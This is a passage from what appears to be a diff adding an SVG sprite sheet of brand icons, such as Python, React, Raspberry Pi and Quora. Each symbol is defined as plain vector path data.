248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"></path> + </symbol> + <symbol id="pushed" viewBox="0 0 432 512"> + <path d="M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"></path> + </symbol> + <symbol id="python" viewBox="0 0 448 512"> + <path d="M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"></path> + </symbol> + <symbol id="qq" viewBox="0 0 448 512"> + <path d="M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"></path> + </symbol> + <symbol id="quinscape" viewBox="0 0 512 512"> + <path d="M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"></path> + </symbol> + <symbol id="quora" viewBox="0 0 448 512"> + <path d="M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"></path> + </symbol> + <symbol id="r-project" viewBox="0 0 581 512"> + <path d="M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"></path> + </symbol> + <symbol id="raspberry-pi" viewBox="0 0 407 512"> + <path d="M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"></path> + </symbol> + <symbol id="ravelry" viewBox="0 0 512 512"> + <path d="M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"></path> + </symbol> + <symbol id="react" viewBox="0 0 512 512"> + <path d="M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"></path> + </symbol> + <symbol id="reacteurope" viewBox="0 0 576 512"> + <path d="M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 1.77 0 0 0 2-1.9v-.8a1.83 1.83 0 0 0-2-2.06zm-7.4-99.4L286 192l-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1z"></path> + </symbol> + <symbol id="readme" viewBox="0 0 576 512"> + <path d="M528.3 46.5H388.5c-48.1 0-89.9 33.3-100.4 80.3-10.6-47-52.3-80.3-100.4-80.3H48c-26.5 0-48 21.5-48 48v245.8c0 26.5 21.5 48 48 48h89.7c102.2 0 132.7 24.4 147.3 75 .7 2.8 5.2 2.8 6 0 14.7-50.6 45.2-75 147.3-75H528c26.5 0 48-21.5 48-48V94.6c0-26.4-21.3-47.9-47.7-48.1zM242 311.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5V289c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5V251zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H78.2c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm259.3 121.7c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5v-22.9c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 0-3.5-1.5-3.5-3.5V228c0-1.9 1.5-3.5 3.5-3.5h160.4c1.9 0 3.5 1.5 3.5 3.5v22.9zm0-60.9c0 1.9-1.5 3.5-3.5 3.5H337.5c-1.9 